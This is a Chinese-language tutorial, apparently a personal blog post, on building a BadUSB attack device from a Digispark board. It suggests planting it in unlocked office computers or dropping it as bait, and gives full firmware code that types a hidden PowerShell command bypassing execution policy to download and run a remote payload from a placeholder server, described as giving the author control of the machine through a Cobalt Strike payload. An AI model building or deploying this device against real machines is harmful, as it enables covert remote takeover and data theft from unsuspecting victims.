badusb制作

原理

    不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。

    利用了HID界面和相关协议,在代码层级模拟键盘或者鼠标的操作,达到恶意传播病毒或者删除关键文件的目的。

    恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击

硬件设备(Digispark开发板)

    基于ATTINY85微控制器的USB开发板,体积小且价钱便宜,功能方面则没有Arduino般强大。 代码与Arduino大同小异,更可贵的是使用Arduino IDE来开发

攻击方式

  1. 物理入侵,简单点找一些未锁屏的办公电脑挨个插入。
  2. U盘钓鱼,通过伪装成一个普通移动U盘撒向目标范围内引起目标注意。
  3. 摆渡攻击,通常是攻击局域网内部系统,当再次插入互联网设备中敏感信息被传输。

购买途径

某宝上直接就能购买,我买的是Digispark开发板

image-20231001174746620

制作badusb

    下载Arduino IDE,安装驱动:https://github.com/digistump/DigistumpArduino/releases

(因为我的板子是Digispark开发板,Arduino IDE默认不支持该板子,需要下载对应的驱动)

image-20231001174856995

选择64位,进行安装

image-20231001174912387

确保所有驱动都勾选上,进行安装;安装好后,重启电脑

image-20231001174932215

打开Arduino IDE,先配置代理,避免后续因为下载问题

image-20231001175024665

    打开偏好设置,附加开发板管理器网址:http://digistump.com/package_digistump_index.json (因为Ardunio IDE默认没有Digispark开发板,需要手动添加)

image-20231001175050708

打开开发板管理器,选择安装 Digistump AVR Boards

image-20231001175110135

安装好后,就可以选择Digispark板子了

image-20231001175157105

选择example中的keyboard案例

image-20231001175217975

利用CS生成powershell脚本来上线,并把powershell脚本托管到服务器上

image-20231001175240333

需要烧制到板子上的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
 
void setup() {
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/payload.ps1');"));
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(750);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {
}

修改payload脚本的地址即可,直接点击上传,提示需要60秒内插入板子

image-20231001175320214

插入板子,写入成功

image-20231001175339032

把badusd重新插入到电脑上,机器成功上线

image-20231001175352585

总结

    在 Arduino 开发环境中,使用开发板管理器可以轻松安装和管理各种硬件平台的支持,包括不同的微控制器和开发板。默认情况下,Arduino IDE 附带一些常见的开发板支持,但对于其他特定的开发板或微控制器,可能需要添加附加的开发板支持。

参考